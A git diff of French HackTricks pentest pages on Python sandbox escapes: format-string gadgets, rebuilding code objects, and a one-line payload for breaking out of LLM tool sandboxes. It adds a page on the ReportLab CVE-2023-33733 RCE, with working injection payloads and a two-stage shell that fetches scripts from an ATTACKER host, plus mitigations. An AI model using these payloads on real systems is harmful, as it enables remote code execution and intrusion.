_CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Recherche Récursive des Builtins, Globals...
|
||||
## Recherche récursive de Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> C'est juste **incroyable**. Si vous **cherchez un objet comme globals, builtins, open ou autre**, utilisez simplement ce script pour **trouver de manière récursive les endroits où vous pouvez trouver cet objet.**
|
||||
> C'est tout simplement **génial**. Si vous **cherchez un objet comme globals, builtins, open ou autre** utilisez simplement ce script pour **parcourir récursivement les endroits où cet objet peut se trouver.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -654,15 +662,15 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Vous pouvez vérifier la sortie de ce script sur cette page :
|
||||
Vous pouvez vérifier la sortie de ce script sur cette page :
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Format de chaîne Python
|
||||
## Python Format String
|
||||
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder à **l'information interne de python.** Vous pouvez utiliser les exemples précédents pour accéder aux globals ou builtins par exemple.
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux informations internes de python. Vous pouvez utiliser les exemples précédents, par exemple, pour accéder à globals ou builtins.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -682,16 +690,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément dict** avec **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
Remarquez comment vous pouvez **accéder aux attributs** de façon normale avec un **point** comme `people_obj.__init__` et un **élément de dict** avec des **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
|
||||
Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Notez aussi que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Certaines autres caractéristiques intéressantes des chaînes de format sont la possibilité d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** dans l'objet indiqué en ajoutant **`!s`**, **`!r`**, **`!a`** respectivement :
|
||||
Quelques autres caractéristiques intéressantes des format strings sont la possibilité **d'exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant respectivement **`!s`**, **`!r`**, **`!a`** :
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
De plus, il est possible de **coder de nouveaux formatteurs** dans des classes :
|
||||
De plus, il est possible de **coder de nouveaux formatters** dans des classes :
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -702,17 +710,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Plus d'exemples** sur les **exemples de chaînes de format** peuvent être trouvés sur [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Plus d'exemples** sur les **format** **string** sont disponibles sur [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Vérifiez également la page suivante pour des gadgets qui **lire des informations sensibles à partir des objets internes de Python** :
|
||||
> Consultez également la page suivante pour des gadgets qui vont l**ire des informations sensibles depuis les objets internes de Python**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### Charges utiles de divulgation d'informations sensibles
|
||||
### Payloads de divulgation d'informations sensibles
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -728,22 +736,22 @@ secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### Contournement des prisons LLM
|
||||
### LLM Jails bypass
|
||||
|
||||
Depuis [ici](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Du format au RCE en chargeant des bibliothèques
|
||||
### From format to RCE loading libraries
|
||||
|
||||
Selon le [**challenge TypeMonkey de cet article**](https://corgi.rip/posts/buckeye-writeups/), il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité de chaîne de format dans python.
|
||||
Selon la [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité de format string en python.
|
||||
|
||||
En rappel, chaque fois qu'une action est effectuée en python, une fonction est exécutée. Par exemple, `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** sera **`{'a':'b'}.__getitem__('a')`**.
|
||||
Pour rappel, chaque fois qu'une action est effectuée en python, une fonction est exécutée. Par exemple `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** exécutera **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Vous en avez d'autres comme cela dans la section [**Exécution Python sans appels**](#python-execution-without-calls).
|
||||
Vous en avez d'autres dans la section [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Une vulnérabilité de chaîne de format python ne permet pas d'exécuter de fonction (elle ne permet pas d'utiliser des parenthèses), donc il n'est pas possible d'obtenir un RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Cependant, il est possible d'utiliser `[]`. Par conséquent, si une bibliothèque python courante a une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les abuser pour obtenir un RCE.
|
||||
Une vulnérabilité de format string en python n'autorise pas l'exécution de fonctions (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir du RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Cependant, il est possible d'utiliser `[]`. Par conséquent, si une bibliothèque python courante possède une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les abuser pour obtenir du RCE.
|
||||
|
||||
À la recherche d'un gadget comme ça en python, l'article propose cette [**requête de recherche Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Où il a trouvé celui-ci [ici](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
En cherchant un gadget de ce type dans python, le writeup propose cette [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Il y a trouvé ce [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -765,20 +773,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Ce gadget permet de **charger une bibliothèque depuis le disque**. Par conséquent, il est nécessaire d'une manière ou d'une autre de **écrire ou télécharger la bibliothèque à charger** correctement compilée sur le serveur attaqué.
|
||||
Ce gadget permet de **load a library from disk**. Par conséquent, il est nécessaire, d'une manière ou d'une autre, de **write or upload the library to load** correctement compilée sur le serveur attaqué.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Le défi abuse en réalité d'une autre vulnérabilité sur le serveur qui permet de créer des fichiers arbitraires sur le disque des serveurs.
|
||||
Le challenge exploite en réalité une autre vulnérabilité du serveur qui permet de créer des fichiers arbitraires sur le disque du serveur.
|
||||
|
||||
## Dissection des objets Python
|
||||
## Analyse des objets Python
|
||||
|
||||
> [!TIP]
|
||||
> Si vous voulez **apprendre** sur le **bytecode python** en profondeur, lisez ce **superbe** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Si vous voulez **apprendre** en profondeur sur **python bytecode**, lisez cet article **excellent** sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
Dans certains CTFs, vous pourriez recevoir le nom d'une **fonction personnalisée où se trouve le flag** et vous devez voir les **internes** de la **fonction** pour l'extraire.
|
||||
Dans certains CTFs, il se peut qu'on vous fournisse le nom d'une **custom function where the flag** et vous deviez examiner les **internals** de la **function** pour l'extraire.
|
||||
|
||||
C'est la fonction à inspecter :
|
||||
Voici la function à inspecter :
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -798,7 +806,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` et `func_globals` (Identique) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et leur contenu déclaré :
|
||||
`__globals__` and `func_globals`(même) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et leur contenu déclaré :
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -807,11 +815,11 @@ get_flag.__globals__
|
||||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Voir ici plus d'endroits pour obtenir des globals**](#globals-and-locals)
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Accéder au code de la fonction**
|
||||
|
||||
**`__code__`** et `func_code` : Vous pouvez **accéder** à cet **attribut** de la fonction pour **obtenir l'objet code** de la fonction.
|
||||
**`__code__`** and `func_code`: Vous pouvez **accéder** à cet **attribut** pour **obtenir l'objet code** de la fonction.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -899,7 +907,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Remarquez que **si vous ne pouvez pas importer `dis` dans le sandbox python**, vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **le désassembler** localement. Vous ne verrez pas le contenu des variables étant chargées (`LOAD_CONST`), mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique également le décalage de la variable étant chargée.
|
||||
Notez que **si vous ne pouvez pas importer `dis` dans le python sandbox** vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **disassemble** le localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique aussi l'offset de la variable chargée.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -923,8 +931,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Compilation de Python
|
||||
|
||||
Maintenant, imaginons que d'une manière ou d'une autre, vous pouvez **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez** **exécuter**.\
|
||||
Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais en lisant le désassemblage, vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
|
||||
Maintenant, imaginons que d'une manière ou d'une autre vous puissiez **dump les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **avez besoin** de l'**exécuter**.\
|
||||
Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais simplement en lisant le désassemblage vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -937,9 +945,9 @@ return calc_flag("VjkuKuVjgHnci")
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### Création de l'objet code
|
||||
### Création du code object
|
||||
|
||||
Tout d'abord, nous devons savoir **comment créer et exécuter un objet code** afin de pouvoir en créer un pour exécuter notre fonction leakée :
|
||||
Tout d'abord, nous devons savoir **comment créer et exécuter un code object** afin que nous puissions en créer un pour exécuter notre fonction leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -959,7 +967,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> En fonction de la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de python que vous exécutez est de lancer :
|
||||
> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des params dans la version de python que vous exécutez est d'exécuter :
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -967,10 +975,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Recréer une fonction divulguée
|
||||
### Recréer une fonction leaked
|
||||
|
||||
> [!WARNING]
|
||||
> Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir de l'objet code de la fonction. Dans un **exemple réel**, toutes les **valeurs** pour exécuter la fonction **`code_type`** est ce que **vous devrez divulguer**.
|
||||
> Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir du function code object. Dans un **exemple réel**, toutes les **valeurs** nécessaires pour exécuter la fonction **`code_type`** sont ce que **vous devrez leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -981,12 +989,12 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### Bypass Defenses
|
||||
### Contourner les défenses
|
||||
|
||||
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout dans une **ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
|
||||
Quoi qu'il en soit, parfois il pourrait être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la **machine CTF** (par exemple parce que nous n'avons pas la fonction `compiled` dans le CTF).
|
||||
Dans les exemples précédents au début de cet article, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant parce que vous pouvez **exécuter des scripts entiers** avec des boucles et tout le reste en une **one liner** (et on pourrait faire la même chose en utilisant **`exec`**).\
|
||||
Quoi qu'il en soit, il peut parfois être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la **CTF machine** (par exemple parce que nous n'avons pas la fonction `compiled` dans la CTF).
|
||||
|
||||
Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
|
||||
Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_ :
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1013,7 +1021,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pourriez créer une **fonction appropriée**, mais l'appeler directement échouera généralement avec : _constructeur non accessible en mode restreint_. Vous avez donc besoin d'une **fonction qui n'est pas dans l'environnement restreint pour appeler cette fonction.**
|
||||
Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pouvez créer une **fonction appropriée**, mais l'appeler directement va généralement échouer avec : _constructor not accessible in restricted mode_. Vous avez donc besoin d'une **fonction qui n'est pas dans l'environnement restreint pour appeler cette fonction.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1021,12 +1029,13 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Décompilation de Python Compilé
|
||||
## Décompilation du Python compilé
|
||||
|
||||
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com), on peut **décompiler** un code python compilé donné.
|
||||
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com), on peut **décompiler** du code Python compilé.
|
||||
|
||||
**Consultez ce tutoriel** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
@ -1035,7 +1044,7 @@ En utilisant des outils comme [**https://www.decompiler.com/**](https://www.deco
|
||||
|
||||
### Assert
|
||||
|
||||
Python exécuté avec des optimisations avec le paramètre `-O` supprimera les instructions d'assertion et tout code conditionnel sur la valeur de **debug**.\
|
||||
Python exécuté avec les optimisations via le paramètre `-O` supprimera les instructions `assert` et tout code conditionnel à la valeur de **debug**.\
|
||||
Par conséquent, des vérifications comme
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1055,5 +1064,8 @@ sera contourné
|
||||
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,79 @@
|
||||
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page documente une escape pratique du sandbox et un primitive RCE dans rl_safe_eval de ReportLab utilisé par xhtml2pdf et d'autres pipelines de génération de PDF lorsqu'ils rendent du HTML contrôlé par l'utilisateur en PDF.
|
||||
|
||||
CVE-2023-33733 affecte les versions de ReportLab jusqu'à et y compris 3.6.12. Dans certains contextes d'attribut (par exemple color), les valeurs encadrées par triple crochets [[[ ... ]]] sont évaluées côté serveur par rl_safe_eval. En fabriquant un payload qui pivote depuis un builtin whitelisté (pow) vers ses globals de fonction Python, un attaquant peut atteindre le module os et exécuter des commandes.
|
||||
|
||||
Points clés
|
||||
- Trigger : injecter [[[ ... ]]] dans des attributs évalués tels que <font color="..."> dans du markup analysé par ReportLab/xhtml2pdf.
|
||||
- Sandbox : rl_safe_eval remplace les builtins dangereux mais les fonctions évaluées exposent toujours __globals__.
|
||||
- Bypass : créer une classe transitoire Word pour contourner les vérifications de noms de rl_safe_eval et accéder à la chaîne "__globals__" tout en évitant le filtrage des dunder bloqués.
|
||||
- RCE : getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- Stabilité : Retourner une valeur valide pour l'attribut après exécution (pour color, utiliser 'red').
|
||||
|
||||
Quand tester
|
||||
- Applications qui exposent une exportation HTML-to-PDF (profils, factures, rapports) et indiquent xhtml2pdf/ReportLab dans les métadonnées PDF ou les commentaires de la réponse HTTP.
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producteur "xhtml2pdf"
|
||||
- La réponse HTTP pour un PDF commence souvent par un commentaire générateur ReportLab
|
||||
|
||||
Comment le bypass du sandbox fonctionne
|
||||
- rl_safe_eval supprime ou remplace de nombreux builtins (getattr, type, pow, ...) et applique un filtrage de noms pour refuser les attributs commençant par __ ou figurant dans une denylist.
|
||||
- Cependant, les fonctions safe vivent dans un dictionnaire globals accessible via func.__globals__.
|
||||
- Utiliser type(type(1)) pour retrouver la vraie fonction builtin type (contournant le wrapper de ReportLab), puis définir une classe Word dérivée de str avec un comportement de comparaison muté de sorte que :
|
||||
- .startswith('__') → toujours False (contourne la vérification name startswith('__'))
|
||||
- .__eq__ retourne False uniquement à la première comparaison (contourne les vérifications d'appartenance à la denylist) et True ensuite (pour que Python getattr fonctionne)
|
||||
- .__hash__ égal à hash(str(self))
|
||||
- Avec cela, getattr(pow, Word('__globals__')) retourne le dict globals de la fonction pow emballée, qui inclut un module os importé. Ensuite : ['os'].system('<cmd>').
|
||||
|
||||
Pattern d'exploitation minimal (exemple d'attribut)
|
||||
Placer le payload à l'intérieur d'un attribut évalué et s'assurer qu'il retourne une valeur d'attribut valide via boolean et 'red'.
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- La forme en list-comprehension permet une unique expression acceptable par rl_safe_eval.
|
||||
- Le trailing and 'red' retourne une couleur CSS valide pour que le rendu ne casse pas.
|
||||
- Remplacer la commande selon le besoin ; utiliser ping pour valider l'exécution avec tcpdump.
|
||||
|
||||
Workflow opérationnel
|
||||
1) Identifier le générateur de PDF
|
||||
- Le PDF Producer indique xhtml2pdf ; la réponse HTTP contient un commentaire ReportLab.
|
||||
2) Trouver une entrée reflétée dans le PDF (par ex., bio/description du profil) et déclencher une exportation.
|
||||
3) Vérifier l'exécution avec un ICMP de faible bruit
|
||||
- Run: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Windows envoie souvent exactement quatre requêtes echo par défaut.
|
||||
4) Établir un shell
|
||||
- Pour Windows, une approche two-stage fiable évite les problèmes de quoting/encoding :
|
||||
- Stage 1 (download):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Stage 2 (execute):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Pour les cibles Linux, un two-stage similaire avec curl/wget est possible :
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
Notes et conseils
|
||||
- Contextes d'attribut : color est un attribut connu évalué ; d'autres attributs dans le markup ReportLab peuvent aussi évaluer des expressions. Si un emplacement est sanitizé, essayer d'autres endroits rendus dans le flux PDF (champs différents, styles de table, etc.).
|
||||
- Quoting : Garder les commandes compactes. Les downloads en two-stage réduisent drastiquement les problèmes de quoting et d'escaping.
|
||||
- Fiabilité : Si les exportations sont mises en cache ou en file d'attente, varier légèrement le payload (par ex., chemin ou query aléatoire) pour éviter les caches.
|
||||
|
||||
Mitigations et détection
|
||||
- Mettre à jour ReportLab vers 3.6.13 ou plus récent (CVE-2023-33733 corrigé). Suivre aussi les avis de sécurité dans les paquets de distribution.
|
||||
- Ne pas fournir du HTML/markup contrôlé par l'utilisateur directement à xhtml2pdf/ReportLab sans une sanitization stricte. Supprimer/refuser les constructions d'évaluation [[[...]]] et les tags vendor-specific lorsque l'entrée n'est pas de confiance.
|
||||
- Envisager de désactiver ou d'envelopper complètement l'utilisation de rl_safe_eval pour les entrées non fiables.
|
||||
- Surveiller les connexions sortantes suspectes pendant la génération de PDF (par ex., ICMP/HTTP depuis les serveurs applicatifs lors d'exportations de documents).
|
||||
|
||||
References
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -2,49 +2,58 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Manipulation du cache pour RCE
|
||||
La méthode de stockage par défaut du cache de Django est [Python pickles](https://docs.python.org/3/library/pickle.html), ce qui peut conduire à RCE si [des entrées non fiables sont dé-picklées](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent**.
|
||||
## Manipulation du cache aboutissant à RCE
|
||||
Django utilise par défaut [Python pickles](https://docs.python.org/3/library/pickle.html) pour le stockage du cache, ce qui peut conduire à RCE si [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité pour obtenir RCE sur le serveur sous-jacent**.
|
||||
|
||||
